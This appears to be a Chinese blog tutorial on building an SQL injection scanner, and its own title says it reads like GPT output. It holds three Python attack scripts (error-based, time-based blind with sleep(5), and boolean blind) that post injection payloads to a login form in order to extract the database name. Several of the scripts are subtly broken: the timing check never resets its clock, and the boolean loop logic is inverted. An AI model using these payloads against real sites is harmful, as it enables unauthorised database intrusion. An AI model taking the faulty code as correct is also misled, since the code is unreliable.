[安全开发] SQL注入扫描(一股子GPT味~)

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[安全开发] SQL注入扫描(一股子GPT味~)

SQL注入扫描就是一种用于检测和预防SQL注入攻击的工具。它通过模拟SQL注入攻击的方式,向目标网站发送特定的SQL查询语句,以验证目标网站是否存在SQL注入漏洞。SQL注入扫描的过程通常分为以下几个步骤:

    收集信息:扫描器会首先向目标网站发送各种类型的请求,例如HTTP GET、POST等,以获取目标网站的响应,进而收集关于目标网站的信息。
  1. 发现漏洞:扫描器会尝试使用各种常见的SQL注入技巧来探测目标网站是否存在SQL注入漏洞。例如,它会向目标网站发送一些特定的字符,以验证是否存在对输入数据进行检查的措施。
  2. 验证漏洞:如果扫描器成功地发现了SQL注入漏洞,它会尝试利用该漏洞来验证其有效性。例如,它会发送一些恶意的SQL查询语句,以查看是否能够成功地从目标网站的数据库中提取数据。
  3. 报告结果:扫描器会将其扫描结果整理成报告,包括发现的漏洞类型、漏洞的位置、漏洞的影响程度等信息。

下面分别描述这四部分

收集信息

比如说我们对于http://www.example.com/网站进行扫描,就要先使用爬虫获取扫描目标,没有扫描目标的话,直接对着http://www.example.com/怼,能够扫出漏洞我愿意称之为天选之子。

    http://www.example.com/images/1.jpg
  • http://www.example.com/images/2.jpg
  • http://www.example.com/js/upload.js
  • http://www.example.com/admin/login.php
  • http://www.example.com/1.html
  • http://www.example.com/page/1.php?id=1
  • .....

如果你是一个渗透测试工程师,你第一反应是检测哪个网址?

不可能每个网址都扫描一遍吧,恰好我们有100个验证SQL注入的POC,那么就需要发送1000*100个包,这对该网站是一个噩梦,当然也有可能刚开始扫就被防火墙给拦截了,或者很多东西都是错误网址,浪费了扫描器的时间

发现漏洞&验证漏洞

这里其实是POC和EXP的区别,这里我们统一用POC来解释

    报错注入
  • 时间盲注
  • 布尔注入
  • 宽字节注入
  • 联合注入
  • 堆叠注入
  • 二次注入
  • ....

报错注入检测脚本

报错注入是一种常见的SQL注入技术,其基本原理是通过构造恶意的SQL查询语句,使目标网站返回错误信息,从而获得有关目标数据库的敏感信息

"You have an error in your SQL syntax"

import requests

# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'

# 构造注入语句
injection_payload = "' or 1=1 union select 1,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- "

# 发送恶意请求
payload = {injection_param: injection_payload}
response = requests.post(target_url, data=payload)

# 分析响应并检测是否存在SQL注入漏洞
if "You have an error in your SQL syntax" in response.text:
    print("SQL注入漏洞存在")
else:
    print("SQL注入漏洞不存在")

时间盲注检测脚本

时间盲注,最重要的就是时间

import requests
import time

# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'

# 构造注入语句
injection_payload = "' or if(substr(database(),{pos},1)='{char}', sleep(5), null)-- "

# 发送恶意请求并计时
start_time = time.time()
for i in range(1, 20):   # 假设数据库名称长度不超过20个字符
    for j in range(33, 127):   # ASCII码表中可见字符的范围
        # 替换注入语句中的占位符
        payload = {injection_param: injection_payload.format(pos=i, char=chr(j))}
        response = requests.post(target_url, data=payload)
        # 如果响应时间大于5秒,则表示猜测的字符是正确的
        if time.time() - start_time > 5:
            print("第{}位字符为:{}".format(i, chr(j)))
            break
    else:
        continue
    break

以上脚本中,我们首先定义了目标网站的URL和注入参数,然后构造了一个注入语句,其中使用了时间盲注的技巧,使用sleep函数控制响应时间。接着,我们使用一个双重循环来猜测数据库名称中的每一个字符,如果猜测正确,则响应时间会超过5秒,从而得到正确的字符

布尔注入检测脚本

这里的True和False是什么?

    True 200
  • False 404

另一种情况,正确的时候,返回个人信息,失败的时候,返回为空,这里的对应

    True 获得个人信息
  • False 空信息

Login failed为False,登录成功为True,通过判断响应结果中是否包含“Login failed”来判断猜测是否正确

import requests

# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'

# 构造注入语句
injection_payload = "' or ascii(substr(database(),{pos},1))={char}-- "

# 猜测数据库名称的长度
for length in range(1, 20):   # 假设数据库名称长度不超过20个字符
    # 猜测每一位字符
    database_name = ''
    for i in range(1, length+1):
        for j in range(33, 127):   # ASCII码表中可见字符的范围
            # 替换注入语句中的占位符
            payload = {injection_param: injection_payload.format(pos=i, char=j)}
            response = requests.post(target_url, data=payload)
            # 判断响应结果是否发生变化
            if 'Login failed' in response.text:
                break
        else:
            continue
        database_name += chr(j)
        break
    else:
        break

print("数据库名称为:", database_name)

输出报告

这玩意不用我说了吧 😃

浅谈检测的优化

在第一步我们获取到扫描目标后,我们需要进行一波过滤,可以定义一个字典 ['js','jpg','png']等等,将对应的静态后缀给过滤掉,不进入到第二步的扫描中,节省扫描时间

OK,SQL注入扫描就到这里啦,自己编写扫描脚本的时候,需要根据扫描结果来不断优化迭代,进而让脚本趋于完善,共勉

END

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